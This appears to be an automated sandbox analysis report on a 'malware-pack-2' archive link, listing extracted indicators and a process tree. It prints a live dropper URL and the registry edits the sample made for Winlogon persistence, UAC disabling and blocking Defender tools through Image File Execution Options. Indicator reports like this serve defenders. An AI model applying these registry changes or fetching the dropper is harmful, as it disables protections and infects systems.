hxxps://archive[.]org/details/malware-pack-2

Resubmissions

06/07/2024, 19:34

240706-yaglcs1emn 10

06/07/2024, 19:29

240706-x7jasa1drl 10

06/07/2024, 19:22

240706-x29wjs1dmq 8

Analysis

max time kernel
245s
max time network
248s
platform
windows10-2004_x64
resource
win10v2004-20240704-de
resource tags

arch:x64arch:x86image:win10v2004-20240704-delocale:de-deos:windows10-2004-x64systemwindows
submitted
06/07/2024, 19:29

Sharing

Copy URL

Twitter E-mail

Reason

Machine shutdown

Report Analysis Logs

General

Target

https://archive.org/details/malware-pack-2

Score

10^/10

evasion persistence trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://93.115.82.248/?0=1&1=1&2=9&3=i&4=9200&5=1&6=1111&7=sdkrocqnop

Signatures

Modifies WinLogon for persistence 2 TTPs 1 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1015551233-1106003478-1645743776-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "C:\\Users\\Admin\\AppData\\Roaming\\guard-dgxm.exe"	guard-dgxm.exe

UAC bypass 3 TTPs 3 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	guard-dgxm.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	guard-dgxm.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorUser = "0"	guard-dgxm.exe

Blocklisted process makes network request 1 IoCs

flow	pid	Process
76	1216	mshta.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 12 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msmpeng.exe	guard-dgxm.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msseces.exe\Debugger = "svchost.exe"	guard-dgxm.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MpUXSrv.exe	guard-dgxm.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MSASCui.exe	guard-dgxm.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MSASCui.exe\Debugger = "svchost.exe"	guard-dgxm.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MpCmdRun.exe	guard-dgxm.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MpCmdRun.exe\Debugger = "svchost.exe"	guard-dgxm.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msmpeng.exe\Debugger = "svchost.exe"	guard-dgxm.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msseces.exe	guard-dgxm.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe	guard-dgxm.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "svchost.exe"	guard-dgxm.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MpUXSrv.exe\Debugger = "svchost.exe"	guard-dgxm.exe

Executes dropped EXE 1 IoCs

pid	Process
2344	guard-dgxm.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	guard-dgxm.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
74	checkip.dyndns.org

Drops file in System32 directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\services.msc	guard-dgxm.exe
File opened for modification	C:\Windows\SysWOW64\eventvwr.msc	guard-dgxm.exe
File opened for modification	C:\Windows\SysWOW64\diskmgmt.msc	guard-dgxm.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 3 IoCs

pid	pid_target	Process	procid_target
2808	1780	WerFault.exe	114
1676	1200	WerFault.exe	121
1484	4940	WerFault.exe	124

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglow = "3288365271"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common	OfficeClickToRun.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = a6d8ff0076b9ed00429ce3000078d700005a9e000042750000264200f7630c00	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages\en-US = "2"	OfficeClickToRun.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\EnableWindowColorization = "252"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ExperimentEcs\all\Overrides	OfficeClickToRun.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 50,1329 10,1329 15,1329 100,1329 6"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ExperimentConfigs\ExternalFeatureOverrides\officeclicktorun	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\StartColorMenu = "4288567808"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColorBalance = "89"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs	OfficeClickToRun.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs	OfficeClickToRun.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\AccentColor = "4292311040"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ExperimentEcs\all\Overrides	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\TrustCenter\Experimentation	OfficeClickToRun.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	OfficeClickToRun.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ExperimentEcs\officeclicktorun\Overrides	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0	OfficeClickToRun.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ExperimentEcs\Overrides	OfficeClickToRun.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\officeclicktorun	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ExperimentConfigs\FirstSession\officeclicktorun	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\officeclicktorun\ConfigContextData	OfficeClickToRun.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages\en-US = "1"	OfficeClickToRun.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentColorMenu = "4292311040"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglowBalance = "10"	LogonUI.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,17110992,7202269,41484365,17110988,7153487,39965824,17962391,508368333,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\TrustCenter\Experimentation	OfficeClickToRun.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColor = "3288365271"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationGlassAttribute = "1"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages\en-US = "1"	OfficeClickToRun.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ExperimentConfigs\FirstSession\officeclicktorun	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ExperimentEcs\officeclicktorun\Overrides	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,7202269,17110992,41484365,39965824,7153487,17110988,508368333,17962391,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\officeclicktorun	OfficeClickToRun.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages\en-US = "2"	OfficeClickToRun.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	OfficeClickToRun.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	OfficeClickToRun.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationBlurBalance = "1"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ExperimentEcs\Overrides	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ExperimentConfigs\ExternalFeatureOverrides\officeclicktorun	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\officeclicktorun\ConfigContextData	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	OfficeClickToRun.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2860	msedge.exe
2860	msedge.exe
3964	msedge.exe
3964	msedge.exe
1364	identity_helper.exe
1364	identity_helper.exe
1900	msedge.exe
1900	msedge.exe
1900	msedge.exe
1900	msedge.exe
3196	msedge.exe
3196	msedge.exe
2344	guard-dgxm.exe
2344	guard-dgxm.exe
2344	guard-dgxm.exe
2344	guard-dgxm.exe
2344	guard-dgxm.exe
2344	guard-dgxm.exe
2344	guard-dgxm.exe
2344	guard-dgxm.exe
2344	guard-dgxm.exe
2344	guard-dgxm.exe
2344	guard-dgxm.exe
2344	guard-dgxm.exe
2344	guard-dgxm.exe
2344	guard-dgxm.exe
2344	guard-dgxm.exe
2344	guard-dgxm.exe
2344	guard-dgxm.exe
2344	guard-dgxm.exe
2344	guard-dgxm.exe
2344	guard-dgxm.exe
2344	guard-dgxm.exe
2344	guard-dgxm.exe
2344	guard-dgxm.exe
2344	guard-dgxm.exe
2344	guard-dgxm.exe
2344	guard-dgxm.exe
2344	guard-dgxm.exe
2344	guard-dgxm.exe
2344	guard-dgxm.exe
2344	guard-dgxm.exe
2344	guard-dgxm.exe
2344	guard-dgxm.exe
2344	guard-dgxm.exe
2344	guard-dgxm.exe
2344	guard-dgxm.exe
2344	guard-dgxm.exe
2344	guard-dgxm.exe
2344	guard-dgxm.exe
2344	guard-dgxm.exe
2344	guard-dgxm.exe
2344	guard-dgxm.exe
2344	guard-dgxm.exe
2344	guard-dgxm.exe
2344	guard-dgxm.exe
2344	guard-dgxm.exe
2344	guard-dgxm.exe
2344	guard-dgxm.exe
2344	guard-dgxm.exe
2344	guard-dgxm.exe
2344	guard-dgxm.exe
2344	guard-dgxm.exe
2344	guard-dgxm.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 8 IoCs

pid	Process
3964	msedge.exe
3964	msedge.exe
3964	msedge.exe
3964	msedge.exe
3964	msedge.exe
3964	msedge.exe
3964	msedge.exe
3964	msedge.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2344	guard-dgxm.exe
Token: SeShutdownPrivilege	2344	guard-dgxm.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
3964	msedge.exe
3964	msedge.exe
3964	msedge.exe
3964	msedge.exe
3964	msedge.exe
3964	msedge.exe
3964	msedge.exe
3964	msedge.exe
3964	msedge.exe
3964	msedge.exe
3964	msedge.exe
3964	msedge.exe
3964	msedge.exe
3964	msedge.exe
3964	msedge.exe
3964	msedge.exe
3964	msedge.exe
3964	msedge.exe
3964	msedge.exe
3964	msedge.exe
3964	msedge.exe
3964	msedge.exe
3964	msedge.exe
3964	msedge.exe
3964	msedge.exe
3964	msedge.exe
3964	msedge.exe
3964	msedge.exe
3964	msedge.exe
3964	msedge.exe
3964	msedge.exe
3964	msedge.exe
3964	msedge.exe
3964	msedge.exe
3964	msedge.exe
3964	msedge.exe
3964	msedge.exe
3964	msedge.exe
3964	msedge.exe
3964	msedge.exe
3964	msedge.exe
3964	msedge.exe
3964	msedge.exe
3964	msedge.exe
3964	msedge.exe
3964	msedge.exe
3964	msedge.exe
3964	msedge.exe
3964	msedge.exe
3964	msedge.exe
3964	msedge.exe
3964	msedge.exe
3964	msedge.exe
3964	msedge.exe
3964	msedge.exe
3964	msedge.exe
3964	msedge.exe
3964	msedge.exe
3964	msedge.exe
3964	msedge.exe
3964	msedge.exe
3964	msedge.exe
3964	msedge.exe
3964	msedge.exe

Suspicious use of SendNotifyMessage 25 IoCs

pid	Process
3964	msedge.exe
3964	msedge.exe
3964	msedge.exe
3964	msedge.exe
3964	msedge.exe
3964	msedge.exe
3964	msedge.exe
3964	msedge.exe
3964	msedge.exe
3964	msedge.exe
3964	msedge.exe
3964	msedge.exe
3964	msedge.exe
3964	msedge.exe
3964	msedge.exe
3964	msedge.exe
3964	msedge.exe
3964	msedge.exe
3964	msedge.exe
3964	msedge.exe
3964	msedge.exe
3964	msedge.exe
3964	msedge.exe
3964	msedge.exe
2344	guard-dgxm.exe

Suspicious use of SetWindowsHookEx 6 IoCs

pid	Process
3732	[email protected]
2344	guard-dgxm.exe
2344	guard-dgxm.exe
1176	LogonUI.exe
2104	OfficeClickToRun.exe
4548	OfficeClickToRun.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3964 wrote to memory of 1452	3964	msedge.exe	82
PID 3964 wrote to memory of 1452	3964	msedge.exe	82
PID 3964 wrote to memory of 400	3964	msedge.exe	83
PID 3964 wrote to memory of 400	3964	msedge.exe	83
PID 3964 wrote to memory of 400	3964	msedge.exe	83
PID 3964 wrote to memory of 400	3964	msedge.exe	83
PID 3964 wrote to memory of 400	3964	msedge.exe	83
PID 3964 wrote to memory of 400	3964	msedge.exe	83
PID 3964 wrote to memory of 400	3964	msedge.exe	83
PID 3964 wrote to memory of 400	3964	msedge.exe	83
PID 3964 wrote to memory of 400	3964	msedge.exe	83
PID 3964 wrote to memory of 400	3964	msedge.exe	83
PID 3964 wrote to memory of 400	3964	msedge.exe	83
PID 3964 wrote to memory of 400	3964	msedge.exe	83
PID 3964 wrote to memory of 400	3964	msedge.exe	83
PID 3964 wrote to memory of 400	3964	msedge.exe	83
PID 3964 wrote to memory of 400	3964	msedge.exe	83
PID 3964 wrote to memory of 400	3964	msedge.exe	83
PID 3964 wrote to memory of 400	3964	msedge.exe	83
PID 3964 wrote to memory of 400	3964	msedge.exe	83
PID 3964 wrote to memory of 400	3964	msedge.exe	83
PID 3964 wrote to memory of 400	3964	msedge.exe	83
PID 3964 wrote to memory of 400	3964	msedge.exe	83
PID 3964 wrote to memory of 400	3964	msedge.exe	83
PID 3964 wrote to memory of 400	3964	msedge.exe	83
PID 3964 wrote to memory of 400	3964	msedge.exe	83
PID 3964 wrote to memory of 400	3964	msedge.exe	83
PID 3964 wrote to memory of 400	3964	msedge.exe	83
PID 3964 wrote to memory of 400	3964	msedge.exe	83
PID 3964 wrote to memory of 400	3964	msedge.exe	83
PID 3964 wrote to memory of 400	3964	msedge.exe	83
PID 3964 wrote to memory of 400	3964	msedge.exe	83
PID 3964 wrote to memory of 400	3964	msedge.exe	83
PID 3964 wrote to memory of 400	3964	msedge.exe	83
PID 3964 wrote to memory of 400	3964	msedge.exe	83
PID 3964 wrote to memory of 400	3964	msedge.exe	83
PID 3964 wrote to memory of 400	3964	msedge.exe	83
PID 3964 wrote to memory of 400	3964	msedge.exe	83
PID 3964 wrote to memory of 400	3964	msedge.exe	83
PID 3964 wrote to memory of 400	3964	msedge.exe	83
PID 3964 wrote to memory of 400	3964	msedge.exe	83
PID 3964 wrote to memory of 400	3964	msedge.exe	83
PID 3964 wrote to memory of 2860	3964	msedge.exe	84
PID 3964 wrote to memory of 2860	3964	msedge.exe	84
PID 3964 wrote to memory of 4868	3964	msedge.exe	85
PID 3964 wrote to memory of 4868	3964	msedge.exe	85
PID 3964 wrote to memory of 4868	3964	msedge.exe	85
PID 3964 wrote to memory of 4868	3964	msedge.exe	85
PID 3964 wrote to memory of 4868	3964	msedge.exe	85
PID 3964 wrote to memory of 4868	3964	msedge.exe	85
PID 3964 wrote to memory of 4868	3964	msedge.exe	85
PID 3964 wrote to memory of 4868	3964	msedge.exe	85
PID 3964 wrote to memory of 4868	3964	msedge.exe	85
PID 3964 wrote to memory of 4868	3964	msedge.exe	85
PID 3964 wrote to memory of 4868	3964	msedge.exe	85
PID 3964 wrote to memory of 4868	3964	msedge.exe	85
PID 3964 wrote to memory of 4868	3964	msedge.exe	85
PID 3964 wrote to memory of 4868	3964	msedge.exe	85
PID 3964 wrote to memory of 4868	3964	msedge.exe	85
PID 3964 wrote to memory of 4868	3964	msedge.exe	85
PID 3964 wrote to memory of 4868	3964	msedge.exe	85
PID 3964 wrote to memory of 4868	3964	msedge.exe	85
PID 3964 wrote to memory of 4868	3964	msedge.exe	85
PID 3964 wrote to memory of 4868	3964	msedge.exe	85

System policy modification 1 TTPs 5 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	guard-dgxm.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	guard-dgxm.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	guard-dgxm.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorUser = "0"	guard-dgxm.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableVirtualization = "0"	guard-dgxm.exe

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://archive.org/details/malware-pack-2
1⤵
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:3964
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffac3c746f8,0x7ffac3c74708,0x7ffac3c74718
  2⤵
  PID:1452
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2016,16958704091616044102,3275201366761520343,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2108 /prefetch:2
  2⤵
  PID:400
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2016,16958704091616044102,3275201366761520343,131072 --lang=de --service-sandbox-type=none --mojo-platform-channel-handle=2216 /prefetch:3
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:2860
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2016,16958704091616044102,3275201366761520343,131072 --lang=de --service-sandbox-type=utility --mojo-platform-channel-handle=2776 /prefetch:8
  2⤵
  PID:4868
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2016,16958704091616044102,3275201366761520343,131072 --lang=de --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3228 /prefetch:1
  2⤵
  PID:1036
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2016,16958704091616044102,3275201366761520343,131072 --lang=de --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3336 /prefetch:1
  2⤵
  PID:1904
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2016,16958704091616044102,3275201366761520343,131072 --lang=de --service-sandbox-type=none --mojo-platform-channel-handle=5416 /prefetch:8
  2⤵
  PID:2320
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2016,16958704091616044102,3275201366761520343,131072 --lang=de --service-sandbox-type=none --mojo-platform-channel-handle=5416 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1364
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
